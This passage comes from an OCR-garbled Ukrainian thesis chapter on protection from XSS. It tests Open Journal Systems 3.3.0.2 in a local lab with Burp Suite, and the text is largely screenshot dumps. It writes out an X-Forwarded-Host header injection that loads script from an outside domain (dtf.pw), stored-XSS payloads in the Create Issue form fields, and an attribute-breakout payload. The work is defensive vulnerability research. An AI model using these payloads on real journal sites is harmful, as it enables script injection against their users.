KpiMm Toro, Oymu poO3IMNISHYTI CTaTHYHI aHAi3aTOpU KOAY, SKI JIOTIOMAararoTh
BUSIBJISITH TOTEHIIIMHI BPa3JIMBOCTI HA €Tari po3poOKH BeOAOJaTKIB, Taki sk Scan]S Ta
JSLint. BuokpemieHO BaKJIMBICTh PI3HOMAHITHOCTI MIAXOAIB Ta I1HCTPYMEHTIB MJis
e(eKTUBHOTO TECTYBAaHHS 1 3aXUCTy BeOJIOAATKIB, OCKUIBKM BUKOPUCTAHHS JIUILIE OJHOTO
METOJIy MOK€ HE 3a0€3MeYNTH MTOBHOIO MOKPUTTS Ta 3aXUCTy Bia XSS-aTax.

Takum 4MHOM, JDOCTIIKEHHSI BKa3y€ Ha aKTyaJbHICTh BUBYCHHS Ta BIIPOBAKCHHS
PI3HOMAaHITHMX I1HCTPYMEHTIB Ta METOJIB JJig BUSABJICHHS Ta 3anobirands XSS-

BpPa3JIMBOCTSM Y Be0O10/1aTKaxX.
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PO3JILT 3

PO3POBKA MOJEJII 3BAXUCTY BIJ XSS ATAK

3.1 TectyBannusa OJS 3.3.0 Ha HasiIBHicCTHh Bpa3juBocTel

B nepmomy po3aisni Oyno onmucaHo Bpa3auBOCTI XSS, ki Oynu 3HAWICHI B Pi3HUX
Bepcisix OJS. Tlporectyemo nekinbka Bepciit OJS ta mepeBipuMo uu MaroTh HOBI Bepcii OJS
MPUXOBaH1 BPa3JIUBOCTI.

Jliis TecTyBaHHS OyJi0 BCTaHOBJICHO orepariiiHy cuctemy Ubuntu 22.04 LTS, ta

BctaHoBieHO Bepcito OJS 3.3.0.2 (puc. 3.1).

o Open Journal Systems Q @

There is a new version of OJS available! You are currently using 0JS 3.3.0.2. The most recent version is OJS 3.4.0.5. Please visit this page to download
the most recent version and find upgrade Instructions.

Journals Create Journal

* Journal 1 Journalt

Pucynok 3.1 — Beranosiiena OJS

Byno BcranoBieHo Burp Suite, B HajamTyBaHHSIX BKa3aHO MOCHJIAHHS HA CaT Ta

MopT, B HaIomy Bumajky e test.com i 80 moprt (puc. 3.2).

Configure target details x

Specify the details of the server to which the
request will be sent.

Host: | test.com

Override SNI

Port: | 80
Use HTTPS

0K Cancel

Pucynok 3.2 — HanamyBaHHS! JaHUX PO LUJILOBUN CAlT
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[Ticis mporo Oyno BiAKpUTO BHYTpimHIA Opayzep Burp Suite, 3 sikoro OynyTh

MePEXOIUTIOBATHCH BCl 3armutu (puc.3.3).

Register  Login

Journal 1
Current Archives About ~ Q Search

Platform &
workflow by

OJS/ PKP

Pucynok 3.3 — Bayrpinmxiit Opay3ep Burp Suite

Bbyno nepe3zaBanTakeHO CTOPIHKY 1 nepexorieno HT TP 3anuT, sikuii BKiItoYae J1aHi

po 3aroyioBku (puc. 3.4).

Burp Suite Community Edition v2024.2.1-27452 (Early Adopter) - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard ~ Target  ©r Intruder  Repeater  Collaborator ~ Sequencer  Decoder ~ Comparer  Logger  Omganizer  Extensions  Leam {8} Settings
Intercept HTTP history  WebSockets history ) Proxy settings
(P Request to http:/ftest.com:80 [127.0.0.1]

Forward Drop Action Open browser Add notes W | HTTPIL

C Raw Hex B n = - =

- Inspector Ilm I -T®X 2

1 GET /ojs-app/index.php/journall HTTR/1.1
2 Host: test.com Request attributes 2 v 7
3 Cache-Control: max-age=0 ‘g
4 Upgrade-Insecure-Requests: 1 R — 0 o 2

S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image /webp,image/apng,*/*;q=0.8,application/signed-exchange; v=b3;q=0.7

7 Accept-Encoding: gzip, deflate, br Request body parameters [
2 Accept-Language: en-US,en;q=0.9 B
9 Cookie: 0JSSID=38k7osc4spnsoSdgleufustosl Request cookies 1 v
10 Connection: close 4
i} | Request headers 9 v | &

Pucynok 3.4 — IlepexoruieHHs 3alUTy 3aBaHTAKEHHS CAuTy

[Ticns Toro, sik OyJI0 MEPEXOIUICHO 3aIuT, 1Ie 3amuT OYyJI0 HAIICIaHO 0 BKJIAJKU
Repeater (puc. 3.5). I B Brimaaii Repeater narucHyTo KHONKY Send, 11100 HaaicIaTH 3HOBY

3amut (puc. 3.6).
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Jlns Toro, o0 peanizyBaTu aTaky, MOTpiOHO BCTABUTH YAaCTHHY 3aroJIOBKa, SIKa Mae

eKcIuTyaTyBatu Bpa3nuBicTh AaHoi Bepcii PKP OJS (puc.3.7). I 3n0oBYy Oyno HamiciaHo

3anuT (puc. 3.8).

Burp Suite Community Edition v2024.2.1-27452 (Early Adopter) - Temporary Project

d Request to hitp://test.com:80 [127.0.0.1]

7 Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Cookle: 0JSSID=38k7oscdspnsoSdgleufustosl
Connection: close

Cirl+|

Send to Intruder
ceir |

I Send to Repeater
Send to beﬁen:er

Send to Comparer
Send to Decoder
Send to Organizer Ctrl+0
Request in browser >
Engagement tools [Pro version only] >
Change request method

Change body encoding

Copy URL

Copy as curl command (bash)

Burp  Project Intruder Repeater View Help
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
In HTTP history ‘WebSockets history {5} Proxy settings.

Forward Drop Action Open browser
Raw Hex
1 GET /ojs-app/index.php/journall HTTP/1.1
2 Host: test.com
= Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,1mage/avif,1mage/webp,1mage/apng,*/*;q=0.8,application/signed- exchange; v=hb3;q=0.7

Inspect:
Request :
Request ¢
Request
Request ¢

Request

Pucynox 3.5 — Hapcunanns 3anuty no Repeater

Burp Suite Commu 27452 (Early Adopter) - Temporary Project
Bup Project Intuder Repeater View Help
Dashboard ~ Target  Pr Intruder  Repeater  Collaborator ~ Sequencer  Decoder ~ Comparer  logger  Organizer  Extensions  Leam
==
Request Response
Raw  Hex o= Pretty ~ Raw  Hex  Render B w =

GET /ojs-app/index.php/journall HTTP/1.1

Host: test.com

cache-control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/S37.36

(KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36

6 Accept:
text/html, application/xhtml+xml, application/xml; q=0.9,image/avif, image /webp
,image/apng, */*;q=0.8, application/signed- exchange; v=b3;q=0.7

7 Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

9 Cookie: 0JSSID=38k7oscaspnsoSdgleufustosl

0 Connection: close

woew N

HTTP/1.1 200 OK
Date: Wed, 06 Mar 2024 20:05:39 GMT
Server: Apache/2.4.41 (Ubuntu
Cache-Control: no-store

Vary: Accept-Encoding
5 Content-Length: 5216
Connection: close
8 Content-Type: text/html; charset=utf-s

o wewN

<! DOCTYPE html=
<html lang="en-US" xml:lang="en-US">
<heads>
<meta charset='utf-g"=>
<meta name="viewport" content="width=device-width, initial-scale=1.0"=
<title»
Journal 1
</title>

<meta name="generator" content="Cpen Journal Systems 3.3.0.2">
<lirk rel="stylesheet href=

http://test.com/ojs-app/index
e=stylesheet" type="text/css"
<link rel="stylesheet" href="
http://test.com/ojs-app/index

-php/journall/$s$calléss/page/page/csstnam
/=

.php/journall/s$callsss/page/page/css?nam

{8} Settings

£

Target: hitpilliestcom /& HTTP/L ()

Inspector w[) = - @ X g

Request attributes 2 v~ B

Request query parameters o v~ g
Request body parameters [

B

Request cookies n v

2

Request headers 9 ~ &
Response headers 7~

Ever

e=font" type="text/css" />
<link rel="stylesheet" href="
http://test.com/ojs-app/Lib/pkp/styles/fontawesome/fontawesome. css?v=3.
3.0.2" type="text/css" />

</head>

<body class="pkp_page_index pkp_op_index" dir='ltr's

<div

[@F: IR

class="pkp_structure_page"s

©| 0 nighlights £ 0highlights

ntlog  Allissues

5,433 bytes | 78 mills
@ Memory: 124 0MB

Pucynok 3.6 — Hancunanus 3anuty



7452 (Early Adopte:

Bup Project Intuder Repeater View Help
Dashboard ~ Target P Intruder  Repeater  Collaborator ~ Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam ) Settings
1= + L
m & Target: http:litest.com /9 | HTTPIL (3)
== = =
a Inspector  1® I e X g
Request Response P n =
P Raw  Hex = Pretty  Raw  Hex  Render B " = | Requestattibutes 2 v 7
1 GET /ojs-app/index.php/journall HTTP/1.1 1 HTTP/1.1 200 OK §
et et 2 Date: Wed, 06 Mar 2024 20:05:39 GMT Request query parameters 0 v g
Forwarded-Host: foo"s<script src=//dtf.pw/2.]s></script><x=".com I 3 server: Apache/z.4.41 (Ubuntu)
5 = 4 Cache-Control: no-store Request body parameters 0~
S Upgrade-Tnsecure-Requests: 1 5 Vary: Accept-Encoding B
& User-Agent: Mozilla/5.0 (wWindows NT 10.0; WinG4; x64) AppleWebkit/S37.35 & Content-Length: 5216 o ~ A
(KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 7 Connection: close EQUESLCOBCES a —
7 Accept: Content-Type: text/html; charset=utf-8 2
text/html, application/xhtml+xml, application/xml; q=0.9,image/avif, image/webp g Request headers 0 ~ | &
,image/apng, */*;q=0.8, application/signed- exchange;v=b3;q=0.7 10 <! DOCTYPE html=
Accept-Encoding: gzip, deflate, br 11 <html lang="en-US" xml:lang="en-US"s Response headers 7 -
© Accept-Language: en-US,en;q=0.9 12 <heads
10 Cookie: 01SSID=38k7oscaspnsoSdgleufustosl 13 <meta charset="utf-g">
Connecticn: clese 14 =meta name="wiewport" centent="width=device-width, initial-scale=1.0"=>
2 15 <title>
Journal 1
</title=
<meta name="generator® content="Open Journal Systems 3.3.0.2">
<link rel='stylesheet" href="
http://test.com/o]s-app/index.php/journall/$s$callsss/page/page/css?nam
e=styleshest" type="text/css' /=
<link rel='stylesheet" href="
http://test.com/ojs-app/index.php/journall/$$$call$s/page/page/css?nam
e=font" type="text/css" />
<link rel="stylesheet" href="
http://test.com/ojs-app/lib/pkp/styles/fontawescme/fontawesome . css7v=3.
3.0.2" type="text/css" />
</head>
<body class="pkp_page_index pkp_op_index" dir="ltr"s y
<div class="pkp_structure_page"'s =
& [€][>] [Search £ | 0 highlights & (€| [Search £ 0highlights
Done 5,433 bytes | 78 millis
Eventlog Al issues @ Memary: 124 0MB

Pucynox 3.7 — JlogaBaHHs 3arojioBKY JIJIsl €KCILTyaTallii Bpa3auBOCTI

1 GET /ojs-app/index.php/journall HTTR/1.1

Host: test.com

X-Forwarded-Host: foo's<script sre=//dtf.pw/2.js=</scripts<x=".com

4 Cache-Control: max-age=0

Upgrade-Insecure-Raquests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) ApplewWebKit/537.35
(KHTML, like Gecko) chrome/122.0.6261.57 Safari/537.36

w

7 Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image /webp
,image/apng, */*;q=0.8,application/signed- exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Cockie: 0JSSID=38k7oscdspnsoSdgleufustosl

Connection: close

1

0

@& €[> |Search £ 0nighlights
Done
Eventlon  All issues

Pucynox 3.8 —

7452 (Early Adopter) - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard ~ Target  Frox Intruder  Repeater  Collaborator ~ Sequencer  Decoder ~ Comparer  logger  Organizer  Extensions  Leam
i [
ER | - <

L]
Request Response
P Raw Hex nwo o= Pretty Raw Hex Render =

1 HTTR/1.1 200 OK

2 Date: VWed, 06 Mar 2024 20:07:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-store

Vary: Accept-Encoding
Content-Length: 6043

7 Connection:
Content-Type: text/html; charset=utf-g

<! DOCTYPE html=>
11 <html lang="en-US' xml:lang="en-Us">
2| <heads>
<meta charset="utf-g">
<meta name="viewport' content="width=device-width, initial-scale=1.0"=
<titles
Journal 1
</titles

o

<meta name="generator" content='Open Journal Systems 3.3.0.2'=
<link rel="stylesheet* href="http://foo">

<script sre=/dtf.pw/2.is=>

</seripts

<

x=".com/ojs- app/index.php/journall/$$call$ss/page/page/cssiname=styles
heet" type='text/css" /=<link rel="stylesheet" href="http://foo">
<script sre=/dtf.pw/2.js>

</script>

«x="_com/o]s-app/index.php/journall/$$scall$$%/page /page/css?name=font"
type="text/css' /a<link rel='stylesheet® href="http://foo"=>

<script src=//dtf.pw/2.js>

</scripts
<x=".com/o]js-app/lib/pkp/styles/fontawesome/fontawesome.css7v=2.2.0.2"
type="text/css" /=

[ORICIE

£ | 0highlights

Search

HOBTOpHe HaJACHUJIaHHA 3allUTy

{5 Settings.

HTTR/L

Target: htip:/itest.com /&

Inspector = [E T@® X g
Request attributes 2 v iz
Reguest query parameters 0 v §
Request body parameters 0 v
B
R t ki 1
equest cookies vz
=%
Request headers 0 v |3
Response headers 7 B

6,260 bytes | 84 milis
M Memorv- 127 SMR
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Byno otpumano BinoBiab Big cepBepa, Ky NOTpiOHO BiAKpUTH B Opaysepi. st iiporo

Oymno obOpano «Show response in browser» (puc. 3.9) Ta ckomilioBaHO 3reHEpOBaHE

nocuianHds Ha cait (puc. 3.10)

X-Forwarded-Host: foo"s<script src=//dtf.pw/2.jss</script><x=".com
Cache- Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (wWindows NT 10.0; Wing4; x64) ApplewebKit/537.36
(KHTML, like Gecko) Chrome/122.0.6261.57 Safari/S37.36
7 Accept:
text/html, application/xhtml+xml, application,/xml;g=
,1mage/apng,*/*;q=0.8, application/signed- exchange;
5 Accept-Encoding: gzip, deflate, br
Accept-lLanguage: en-US,en;q=0.9

IS
S

.9,1mage/avif,image fwebp

10 Cookie: 0JS5ID=38k7oscdspnsoSdgleufustosl

11 Connection: close

[

@ &€ > | Search £ Onhighlights
Done
Eventlog  Allissues

7 Conmection:

@& <>

Burp  Project Intruder Repeater View Help
Dashboard Target Proxy Intrucer Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Leamn
el +
EXme o (<
= =
Request Response
P Raw  Hex n o= Pretty ~ Raw  Hex  Render n o=
1 GET /ojs-app/index.php/journall HITR/1.1 1 HTTR/1.1 200 OK
2 Host: test.com 2 Date: Wed, 06 Mar 2024 20:07:48 GMT

Server: Apache/2.4.41 (Ubuntu)
Cache-cControl: no-stare

Vary: Accept-Encoding

Content-Length: 6043

close

Content-Type: text/html; charset=utf-s

<! DOCTYPE html=
<html lang="en-us" xml3
<heads>

Send to Intrud Ctriel
meta charset=tutf- — ono o nuaer g
ameta name='viewpor ~ Send to Repeater C+R linitial-scales1.ots
stitles Send to Sequencer
Journal 1 Send to Comparer
</titles

Send to Decoder

Send to Organizer Ctr
ot gmml 5.5.0.20
<link rel="stylesl
<script sro=/dtf.pu T EuoTr T oo
</script>
= Copy
x=".com/o]s-app/1ng Copy URL

heet" type="text/cg
<script src=/dtf.ps  Copy as curl command (bash)

Engagement tools [Pro version only] >

Ctrl+C
page/css?name=styles
=*http://foo">

</script> Copy to file

<x=".com/ojs-apR/il gaetem /page/cssiname=font’
type="text/css" /3 pi//foo">

cscript src=y/dtf.p  Save entire history

</script> Paste URL as request

<x=".com/ojs-app/li some.css?v=3.3.0.2"

Add to site map
type='text/css’ /> —

Search o £ 0highlights

Target: http:/ftest.com /9

Request attributes

Inspector

Request query parameters.
Request body parameters
Request cookies
Request headers

Respanse headers

6,260 bytes | 84 millis

© Memory: 127.5M8

{5} Settings.
L
HTTPIL (3)
& x g
2 v |z
0 v &
0 v
B
1~
=
g
0w v 8
7w

Massane aditar

Pucynok 3.9 — Bubip «Show response in browser»

Burp Suite Community Edition v202:

Host: test.com
X-Forwarded-Host: foo"=<script sre=//dtf.pw/2.js></script><x=".com
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinS4; x64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9,image/3
,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

) Cookie: 01SSID=3sk7osc4spnsoSdgleufustosl

Connection: close

S
S

7452 (Early Adopter) - Temporary Project

Burp Project Intruder Repeater View Help
Dashboard  Target  Prowy  Intuder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam
i e
ERe o <

[ ]
Request Response
F Raw Hex no= Pretty Raw Hex Render =
1 GET fojs-app/index.php/journall HTTR/1.1 1 HTTP/1.1 200 OK

Date: Wied, 06 Mar 2024 20:07:48 GMT
Server: Apache/2.4.41 (Ubuntu)
cache-Control: no-store

Vary: Accept-Encoding
Content-Length: 6043

connection: close

Content-Type: text/html; charset=utf-s

Show response in browser

To show this response in your browser, copy the URL below and paste into a browser that is
configured to use Burp as its proxy.

dth, initial-seale=1.0">

hitp.

In future, just copy the URL and donit show this dialog

Copy

Close

<meta name="generator' centent="Cpen Journal Systems 3.3.0.2">
<link rel="stylesheet' href="http://foo">

<script src=/dtf.pw/2.js>

</script>

<

x=".com/o]s-app/index. php/journall/$$gcal LE$$/page/page/cssname=styles
heet" type="text/css" /=<link rel="styleshset’ href="http://foo'>
<script src=/dtf.pw/2.js>

</script>
<x=".com/0js-app/index.php/journall/$$call$ss/page/page/cssname=font"
type=text/cas’ s><link rel=tstyleshest® href="http://foors

<script src=//dtf.pw/2.js>

Target: hitpifltest.com /5

Request attributes

Inspector

Request query parameters
Request body parameters.
Request cookies
Request headers

Response headers

Pucynox 3.10 — KomniroBaHHS 3reHEpOBAHOTO TTOCHJIAHHS

0

10

{83 Settings.

HTTP/L

o
&

Joj0adsu|

saloN [
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VY BigkpuTii BKiIaIIi Opay3epy Oyiio BUBEICHO TeKCT “Show response” (puc. 3.11), 1

NpY HATUCKAHHI HA KHOMKY BiIKPHIOCH BiKHO alert, ske cBiAUMTH Ipo Te, M0 aTtaka Oyna

ycrimHow (puc. 3.12).

{
Journal 1 x e - 8.

< X A Moktsecure test.com/ojs-app/index.php/journali B Y * 1 O 4

Burp Suite Community Edition CA Certificate

Show response

It you are not redirected shortly, please click the button below:

| Show response \

Pucynok 3.11 — Bikno Opay3zepy 3 Response

Journal1 x e

&« X A Notsecure test.com/ojs-app/index.php/journali B w % A O 2

test.com says

Pucynok 3.12 — Biakpure BikHO alert

[licns araku Ha BiOMYy BpasiuBicTh I1i€i Bepcii OJS Oyno mpoBeneHO pydHE
TECTyBaHHS PI3HUX MOJIB Ta popm naHoi cuctemu. | BOpooBk TecTyBaHHS Oyii0 3HaNIEHO
Bpa3JIMBICTh, MPO SIKY HE OYJI0 cKa3aHo B TokyMeHTallli Ta Ha caifTi OJS. CyTh Bpa3auBOCTI
XSS: npu 3anoBHeHH1 ¢hopmu Create Issue B8 OJS mokHa BBOAUTH B TOJIS OYIb-SIK1 JaHI,

ToMy OyJ0 BBEIEHO Ui TECTYBaHHS B Maibke BCl MoJjs, A¢ HE Oyso Bamijarii, TeKCT
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<script>alert();</script> (puc. 3.13), micms 1poro Oyio 30epexeno Issue. Ilicis

30epexeHHs1 CTBOpeHe ISSUe Oyso moka3zaHo Ha CTOPIHII 3 THITMMH CTBOPSHUMH 3aMTMCaMU

(puc. 3.14).

« a O & testcom/ojs-app/

Create Issue

Identification
1 <script> alert{);</script=
Volume umber

<seript> alert{);</script>
volume Number Year Title.

Description
e B f Y LB o

<script> alert{)</script>

Cover image

Drag and drop a file here ta begin upload upload File

URL Path

save Cancel

Pucynok 3.13 — 3amoBHeHHs moJ1iB TekcToM <Script>alert();</script>

“« c O & test.com/ojs-app/index phpfjournal1/managelssues

Issues

Issues

Future Issues Back Issues

Settings
Journal

Future Issues
Website
Workflow Tosue Tems
Distribution *» vol. 1 No. <script= alertf):</script> (0); <script> alert();</script> 0
Users & Roles » Vol. 1111 No. <seript> alert{);</script> (0): <script> alert(};</ 0

scripts

Statistics * Vol. 1 No. 1(2024): TITLE 1 0
Articles

Editorial Activity
Users

Reports

Tools

Administration

Pucynok 3.14 — Cniucok cTBopeHux Issue
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SIKIIO HATHCHYTH Ha Ha3By cTBOpeHoro Issue, to 3amyckaerbesi ckpunt alert()
JIeKUTbKa Pa3iB, KWW CBIAYMTH MPO Te, MO cucTeMa mae BpasnuBicth Stored XSS (puc.

3.15).

.
O 8/ test.com/ojs-appfindex php/journal1/managelssues bk

@ test.com

[ pon't allow test.com to prompt you again

Pucynok 3.15 — Bukonanns ckpumnra alert()

Poz6epemo cyTHICTh qaHOi BpaziuBocTi. CroyaTKy MOTPiOHO BU3HAUUTH, SIKE MOJIE
a00 TOJIT HE MAFOTh BAJTIJAIIIIO 1 COPHYMHSIOTH BPA3MHUBICTh. J[1s IbOTO 3aIIOBHUMO TIOJIS
dbopmu ISsue pi3HuME 3HaueHHsIMU (puc. 3.16):

1. ITone Volume MicTuTh 3HAYCHHS «2222).

2. ITone Number mictuts 3HaueHHs «<script>alert(‘number’)</script>».

3. Ilone Year mictuth 3HaueHHS «2024.

4. TTone Title micTuTh 3HaUeHHS «<script>alert(‘title”)</script>».

5. ITone Description micTuth 3HaYeHHs «<SCript>alert(‘description”)</script>».

[Ticnst 3ammoOBHEHHS yCiX MOJiB 0ysio cTBopeHo HoBe Issue (puc. 3.17). Jlns Toro, mo0
HepeBIpUTH, SKi MOJsS 3amyckaroTh ckpunT alert Oyno HatucHyTo Ha Ha3By Issue. lle
3aIyCTHJIO CIIOYATKy OJIMH CKPHIIT 1 BUBEIOCH CIIOBO “Number” (puc. 3.18), motiM micms

3aKPUTTS [IBOT'O BIKOHIIS, 3aITyCTHBCS IIIC OJIMH CKPHIIT 1 BUBEJIOCH ciIoBo “title” (puc. 3.19),
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1 TICas 3aKpUTTA IBOTO BIKOHIY, 3’SBUJIOCH BIKHO JIJIsi yMPaBIiHHS CTBOpeHUM Issue

(puc.3.20).

Create Issue @ Help x

Identification
2222 <script=alert('number')</| 2024

Number Year

<scriptzalert(*title'}</script>

Title

Volume Number Year Title

Description
e B 7Y PR o dEn

<script>alert('description’)</script>

Cover image

Drag and drop a file here to begin upload Upload File

URL Path

An optional path to use in the URL instead of the ID.

Save Cancel

Pucynok 3.16 — 3anioBHeHHs1 HOBOrO ISSue

Issues

Future Issues Back Issues

Future Issues

Issue Items
» Vol. 1 No. <script> alert();</script> (0): <script> alert();</script> 0
» Vol. 1111 No. <script> alert();</script> (0): <script> alert();</ 0
scrip>
» Vol 1 No. 1(2024): TITLE 1 0
» Vol 2222 No. <scriptealert('number')</script> (2024): 0

<script=alert('title')</script=

Pucynok 3.17 — CtBopene Issue
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@ test.com

number

Pucynok 3.18 — Bikno alert 3 tekctom “number”

@ test.com

title

[] Don't allow test.com to prompt you again

Pucynok 3.19 — Bikno alert 3 rekctom “title”
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Issue Management: Vol. 2222 No. (2024): X

Table of Contents Issue Data Issue Galleys
© Help

No Items

Pucynox 3.20 — BikHo A ynpaBiiHHS CTBOpeHUM ISsue

AHaizyroun oTpuMaHi pe3ynapTati, Oyino BuscHeHo, mo nois Number ta Title we
MalOTh BaJIi/Iallii, 1 BABOJASITHCS HA CTOPIHKY HE y BUTJISIII TEKCTY, a Y BUTJISIIL KOJTY.
[IpoanamizyeMo Ko, SKUH BiITOBITA€ 3a TOJI BBOY Ta iX 00pOOKYy.

[Tone BBOay VOlume Mae Takuii KO

<input type="text" maxlength="40" class="field text" name="volume" value="2222"
1d="volume-65ec93albc5f4">

IToe Number mae Takuii Kon;

<input type="text" maxlength="40" class="field text" name="number"

value="<script>alert('"number')</script>&quot;" id="number-65ec93albc833">

ITone Year mae Takuii KOxI:

<input type="text" maxlength="4" class="field text" name="year" value="2024"
id="year-65ec93albc92c">

ITone Title mae Takuii kon:

<input type="text" class="field text" name="title[en_US]"

value="<script>alert(‘title")</script>" id="title-65ec9692ab375">
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Bci mons marote tHn text, 3 omHOrO OOKY, II€ MOJETIye poOOTy pO3pOOHHKA,
OCKUIBbKHM B TAKOMY BUTJISIZI CTaHapTHA Badiaaiis Opay3epy He Oyze 3aBakaTu Bajiaauii 3
oexenny. IIpote B maHomy BUNAAKYy, MOMPHU T€, IO MOJS MAalOTh OJIMH THII, BaJliJaIlis
BBEJICHUX JaHWX € He s Bcix moiiB. Hanpuknan, mis mons Volume e oOMmexxeHHsT Ha
KUIBKICTh CUMBOJIIB, 1 111 CUMBOJIM MarOTh OyTH julie nudpamu. [Hakiie, Ko BBEICHO
3HaueHHs 1noHaj 40 CUMBOIIB, B SIKMX € JIITEPU, TO BUBEACTHCS MOMUIIKA MPO HE BaiHI
naHi 1 He Oyze 3Moru 30eperTu I1Ssue 6e3 BUIpaBlieHHs 3HaY€Hb 1IOTO TOJIS.

Jis moast Number Ttakok € oOMEKeHHsS 3a KIJIBKICTIO CHMMBOJIB, MakcuMyM 40.
[Tompwu Te, 110 1€ MOJIe Ma€ MICTUTH HOMEP, B HHOTO MOYKHA 3alUCYBaTH 1 JITEPH, 1 TUPPU.
[ He BUBOAMTHCS OBIAOMIIEHHS PO MMOMUJIKY, SIKIO BBEJEHI CUMBOJIM > < Ta 1HIII. To0TO
MOYKHA BBOJIUTH TEKCT CKPHIITa, TOJOBHE, 11100 BiH OYB 10 po3mMipy 110 40 CHMBOJIIB.

s mons Year € oOMEXKEHHsSI MO KUIBKOCTI CMMBOJIB, MakCUMyM 4, 1 MO THUITY
BBEJICHHX JIaHUX, MOKHA BBOJUTH Jiviie udpu. SAKmio Oy/e BBEJEHO CUMBOJIHN a00 JITEPH,
TO BHMBEACTHCS IMOMUJIKA MPO HEBAJIIHI JlaHi, 1 HE MOXkHa Oyne 30epertu ISsue, He
BHITPABHBIIH TTOMUJIKY.

Jiis mons Title Hemae 0OMeKeHb 1O KITBKOCTI CHMBOJIIB 1 110 THITY BBEACHUX JaHMX,
1 HEMAa€ MEPEeBIPKU HA HAsIBHICTh CKPUITIB Ta 3200pOHEHUX CUMBOJIIB.

[Ticns HaTHUCKAaHHS Ha KHOMKY Save, naHi nepemarothes yepe3 POST 3zamut (puc.

3.21).

Inspector Console [ Debugger | Network {} Style Editor (J) Performance {Jk Memory [ Storage
ilter URLs
Method Domain File
GET # test.com fetchMotification?_=1709839635429
GET # test.com fetchMotification?_=1709839635430
GET # test.com editissue?issueld=48_=1709839635431
GET i test.com issue-toclissueld=4&_=170%839635432
GET # test.com fetch-gridtissueld=48_=1709839635433
GET # test.com edit-issue-data?issueld=4&_=1709839635434
POST # test.com fetchNotification
GET # test.com issue-galleys?issueld=48_=1709839635435
GET # test.com fetch-gridtissueld=48&_=170%839635436
GET #& test.com editissue-data?issueld=46_=1709839635437

POST i test.com fetchMotification

i test.com update-issue?issueld=4

GET # test.com fetch-grid?_=1709839635438

GET # test.com fetchNotification?_=1709839635439
GET # test.com fetchMotification?_=1709839635440
GET # test.com fetchMotification?_=1709839635441

sguests 406,96 kB f295.35 kB transferred  Finish: 15.10 min

Pucynok 3.21 — POST 3anut
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k1o nepernsaHyTH, B SKOMY BUTIISA1 TepeaaroThes qani B POST 3amwmti (puc.3.22),

TO MOKHA MOOAQYUTH, IO B JESAKHUX IIOJIIX CHMBOJM < > 3aKOjJ0BaHl, a B JEIKHUX HI.

Konayrotbes 1i cumBonum Juiine B oy Description, sike 3po0ieHo y Burisai iframe i mae

BaJTIAIliI0 BBEACHUX JaHUX. SIKOW CUMBOJM KOJYBaJUCh B YCiX MOJISAX, TO HE BUHUKIIO O

BpazmBocTel XSS.

All HTML
Size
58B
588
T94 B
993 B
343 kB
7.45 kB
58B
517 B
466 kB
7.45 kB
S58B
29.34kB
4748
588
588

€55 JS XHR Fonts Images Media WS Other Disable Cache

0] = X

NoThrottlings ¥

[F] Headers Cookies Reqguest Response  Timings  Stack Trace

Filter Request Parameters

Ferm data

csrfToken: "1fb9b15b15298d00609b2070118667Fd"
volume: "2222"

number: ‘<script=alert{ number')</script=

year: "2024

title[en_US]: "<script=alert('title)«/script="
showVolume: "

showNumber: "1"

showYear: "1

showTitle: "1"

description[en_US]: "«p=&It;script&gt;alert('description’) &t /script&gt</p="

temporaryFileld: ™"
urlPath: "

submitFormButton: ™

raw (I

Pucynok 3.22 —Bwmict POST 3anuty

Taxox, skmo BBect B mojie Number Texer "><script>alert('in number')</script>",

TO 11¢ mpu3Bee A0 iHmoi araku DOM XSS, ockiyibku 3a JOMOMOI0I0 TOTO, 1110 B TEr INPUt

B aTtpuOyT Value 3anmucyeTbes 3HaYCHHS TMOJIS, 32 JOMOMOIOI0 MOJABIHHUX TYKOK MOXHA

3aKpUTH 3Ha4YeHHs Value i Ter INput, i BCTAaBUTH CKPUIIT 32 MEXI MOJISI BBOAY, TAKHM YHHOM,

10 KO/ IT0JIA BBOAY Ta CKPHUIIT 6YI[6 BUTJIAAATH TakK:

<input type="text" maxlength="40" class="field text" name="number"

value="><script>alert('in number")</script>" id="number-65ec970c80eb7">

B Ttakomy pasi, CKpHUIT, KU BCTABUIIM 11032 MEXIi Tery iNPUt BUKOHAETHCS MEPIIUM

1 Bizkpue BikHO alert 3 Tekctom «in numbery (puc. 3.23) , i HACTYITHUM BUKOHAETHCS CKPUTIT

alert(‘title”), sxwuit Bimkpue BikHo alert 3 Texcrom “title” (puc. 3.24).
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@ test.com

in number

Pucynox 3.23 — Ileprue BikHo alert

@ test.com

title

[ pon't allow test.com to prompt you again

